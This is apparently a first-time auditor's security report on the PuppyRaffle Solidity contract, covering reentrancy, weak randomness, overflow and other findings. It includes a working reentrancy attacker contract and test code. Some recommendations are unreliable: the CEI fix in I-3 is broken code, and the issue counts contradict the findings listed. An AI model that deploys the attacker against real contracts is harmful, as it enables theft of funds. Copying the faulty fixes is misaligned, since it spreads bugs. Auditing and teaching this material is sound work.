CONDOR

PuppyRaffle Audit Report

Version 1.0

Condor by Kuto

July 1, 2024

Protocol Audit Report

Condor Technologies

July 1, 2024

Prepared by: [Condor] Lead Auditors: - Kuto

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
- High
  - [H-1] Reentrancy in the `PuppyRaffle::refund` function
  - [H-2] A weak randomness in `PuppyRaffle::selectWinner`can be use by an hacker who predict the winner.
  - [H-3] There are an overflow bug in `PuppyRaffle::totalFees`
- Medium
  - [M-1] Smart contracts winners without a receive/callback function will not receive her puppy.

- Low
  - [L-1] The function `PuppyRaffle:getActivePlayerIndex` put 0 for non active player even if a player is at index 0.
- Gas
  - [G-1] State variables should be constant
  - [G-2] Storages variable shouldn't be in a loop
- Informational
  - [I-1] The Solidity version is not stable and is old
  - [I-2]: Missing checks for `address(0)` when assigning values to address state variables
  - [I-3]: `PuppyRaffle::selectWinner` should follow the CEI
  - [I-4] Use of "Magic number" is not readable.
  - [I-5] State changes are missing events
  - [I-6] The function `PuppyRaffle::_isActivePlayer` is never used

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy

Disclaimer

The Condor team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 22bbbb2c47f3f2b78c1b134590baf41383fd354f

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

My first audit, its so cool to do !! thanks Patrick Collins !

Issues found

Category	Number of Issues found
High	3
Medium	3
Low	1
Info	7
Total	16

Findings

High

[H-1] Reentrancy in the PuppyRaffle::refund function

IMPACT : HIGH

LIKELIHOOD : HIGH

Description

Some people can use an Attack contract to steal all the fund. The `PuppyRaffle::refund` function doesn't follow the [CEI]

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);

@>      players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

Impact

All the fund can be steal by an attacker with a `fallback` function in a contract.

Proof of Concept

1. Users enter in the Raffle
2. Attacker set up a contract with a `fallback` function that call `PuppyRaffle::refund`
3. Attacker enter in the raffle
4. Attacker calls `PuppyRaffle::refund` again from his contract draining all the fund

Proof of Code

Insert this test in `PuppyRaffleTest.t.sol`:

testReentrancy

```
function testReentrancy() public {

        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker reentrancyattack = new ReentrancyAttacker(
            puppyRaffle);
        uint256 _bpuppyraffle = address(puppyRaffle).balance;
        vm.deal(address(reentrancyattack) , 1 ether);
        uint256 _battacker = address(reentrancyattack).balance;
        console.log("the balance of the attacker contract before attack
            ", _battacker);
        console.log("the balance of the victim contract before attack",
             _bpuppyraffle);
        address attacker = address(11);
        vm.deal(attacker, 1 ether);
        vm.prank(attacker);

        reentrancyattack.attack();

        uint256 bpuppyraffle = address(puppyRaffle).balance;
        uint256 battacker = address(reentrancyattack).balance;
        console.log("the balance of the attacker contract after attack"
            , battacker);
        console.log("the balance of the victim contract after attack
                ", bpuppyraffle);
        assert(battacker > bpuppyraffle);
    }
```

and this contract as well

ReentrancyAttacker

contract ReentrancyAttacker { PuppyRaffle puppyraffle;

```
constructor(PuppyRaffle _puppyraffle) {
    puppyraffle = _puppyraffle;
}

function attack() external {
    address[] memory players = new address[](1);
    players[0] = address(this);
    puppyraffle.enterRaffle{value: 1e18}(players);
    uint256 index = puppyraffle.getActivePlayerIndex(address(this));
    puppyraffle.refund(index);
}

receive() external payable {
    if (address(puppyraffle).balance >= 1 ether) {
        uint256 index = puppyraffle.getActivePlayerIndex(address(this))
            ;
        puppyraffle.refund(index);
    }
}
```

}

Reconmmand Mitigation

You should apply the Check Effect Interaction so put the balance of the player at 0 before refund him.

like this :

```
 function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

-         payable(msg.sender).sendValue(entranceFee);

-         players[playerIndex] = address(0);

-         emit RaffleRefunded(playerAddress);

+         players[playerIndex] = address(0);
+         emit RaffleRefunded(playerAddress);
+         payable(msg.sender).sendValue(entranceFee);
    }
```

[H-2] A weak randomness in `PuppyRaffle::selectWinner`can be use by an hacker who predict the winner.

Description

Hashing `msg.sender`, `block.timestamp` and `bloc.difficulty` together creates a predictable number. A Malicious user can predicte the winner and a user can call refund if he see he didn't win.

Impact

The all raffle will be useless if its predictable.

Proof of Concept

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predicte when participate.
2. Users can manipulate there `msg.sender` to know if they will win.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Reconmmand Mitigation

This Medium explain well how to generate a real random number (https://betterprogramming.pub/how-to-generate-truly-random-numbers-in-solidity-and-blockchain-9ced6472dbdf)

[H-3] There are an overflow bug in `PuppyRaffle::totalFees`

Description

In solidity prior `0.8.0` integers were subject to integer overflows.

```
uint64 max = type(uint64).max;
// max = 18446744073709551615
maxplusone = max + 1;
// maxplusone = 0
```

Impact

If the `totalFees` are bigger than an 1.8446744e19, `feeAdress` will not collect the right amount of fees and money will be stuck in the contract.

Proof of Concept

the maximum of an uint64 is 18446744073709551615 uint64(18446744073709551615) + 1 = 0

So if (totalAmountCollected * 20) / 100 > 18446744073709551615, it will do an overflow

totalAmountCollected * 20 > 1844674407370955161500

totalAmountCollected > 1844674407370955161500 / 20

totalAmountCollected > 92233720368547758075 wei

totalAmountCollected > 92 eth

totalAmountCollected > 92 players

if more than 92 players come they will be an overflow error and 18446744073709551615 will return to 0 !

Proof of Code

Put this test into the test contract to see the proof :

testWithdrawFeesoverflow

```
function testWithdrawFeesoverflow() public {
        // the maximum of an uint64 is 18446744073709551615
        // uin64(18446744073709551615) + 1 = 0
        // So if (totalAmountCollected * 20) / 100 >
            18446744073709551615, it will do an overflow
        // totalAmountCollected * 20 > 1844674407370955161500
        // totalAmountCollected > 1844674407370955161500 / 20
        // totalAmountCollected > 92233720368547758075 wei
        // totalAmountCollected > 92 eth
        // totalAmountCollected > 92 players
        // if more than 92 players come they will be an overflow error
            and 18446744073709551615 will return to 0 !

        // they dont have overflow error when 92 people comme :
        uint256 expectedPrizeWithoutOverflow = ((entranceFee * 92) *
            20) / 100;
        uint256 expectedPrizeAmountWithoutOverflow = uint64(
            expectedPrizeWithoutOverflow);
        uint256 totalBalanceWithoutOverflow = entranceFee * 92;

        console.log("The money in the contract", entranceFee * 92);
        console.log("The fee that the owner will get",
            expectedPrizeAmountWithoutOverflow );

        assertEq(totalBalanceWithoutOverflow,
            expectedPrizeWithoutOverflow * 5);


        // they have overflow error when 93 players come :
        uint256 expectedPrize = ((entranceFee * 93) * 20) / 100;
        uint256 expectedPrizeAmount = uint64(expectedPrize);
        uint256 totalBalance = entranceFee * 93;

        console.log("The money in the contract", entranceFee * 93);
        console.log("The fee that the owner will get",
            expectedPrizeAmount);
        assert(totalBalance != expectedPrizeAmount * 5);
    }
```

Reconmmand Mitigation

1. Use a newer version of Solidity and an `Uint256`
2. Use `SafeMath` of Openzeppelin
3. remove the balance check from `PuppyRaffle::withdrawFees`.

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

Medium

[M-1] Smart contracts winners without a receive/callback function will not receive her puppy.

Description

The `PuppyRaffle::selectwinner` is responsible for resetting the lottery. If the winner cant take his prize the lottery will not be able to restart.

Impact

True winners will not get their money and the lottery will be block.

Proof of Concept

1. A smart contract enter in the raffle
2. the smart contract win the raffle
3. It cant take the money cause the smart contract haven't a receive/fallback functions
4. The winner cant take his money and PuppyRaffle is freeze

Reconmmand Mitigation

1. Don't allow smart contract to participate
2. Create a mapping of addresses with their paymont amount so the addresses will be able to take themselves their money.

Low

[L-1] The function `PuppyRaffle:getActivePlayerIndex` put 0 for non active player even if a player is at index 0.

Description

The function `PuppyRaffle:getActivePlayerIndex` return 0 if the player is inactive and also if a player is at the index 0.

```
    function getActivePlayerIndex(address player) external view returns (
        uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact

A player can think he is not active but he is just at the index 0.

Recommanded Mitigation

The easiest way to prevent this bug is to revert if an player is not active. Or a better solution will be to return -1 with an `int256`.

Gas

[G-1] State variables should be constant

Description

Instances : - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storages variable shouldn't be in a loop

```
+   uint256 playersLength = players.length
-    for (uint256 i = 0; i < players.length - 1; i++) {
+    for (uint256 i = 0; i < playersLength - 1; i++) {
```

```
-                 for (uint256 j = i + 1; j < players.length; j++) {
+                  for (uint256 j = i + 1; j < players.length; j++) {
                    require(players[i] != players[j], "PuppyRaffle:
                        Duplicate player");
                }
            }
```

Informational

[I-1] The Solidity version is not stable and is old

Description

Use a different version of solidity. Because `pragma solidity ^0.7.6;` is not stable.

Reconmmand Mitigation

Use for example `pragma solidity 0.8.0;` Please go read this document slither for more informations.

[I-2]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

```
            feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 169

```
            feeAddress = newFeeAddress;
```

[I-3]: `PuppyRaffle::selectWinner` should follow the CEI

It's best to follow the Checks, Effects, Interactions.

```
        delete players;
           raffleStartTime = block.timestamp;
-           previousWinner = winner;
-           (bool success,) = winner.call{value: prizePool}("");
-           require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

```
-       _safeMint(winner, tokenId);
        // Checks
+       require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
        //Effects
+       _safeMint(winner, tokenId);
        //Inteactions
+        previousWinner = winner;
+        (bool success,) = winner.call{value: prizePool}("");
```

[I-4] Use of "Magic number" is not readable.

It can be confusing to write like this :

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

instead do this :

```
uint256 public constant PRIZE_POOL_POURCENTAGE = 80;
uint256 public constant FEE_POURCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

[I-5] State changes are missing events

Some important actions of `PuppyRaffle` are not emit with events, it can be confusing

[I-6] The function `PuppyRaffle::_isActivePlayer` is never used

It use gas for nothing and this function is a "dead" code.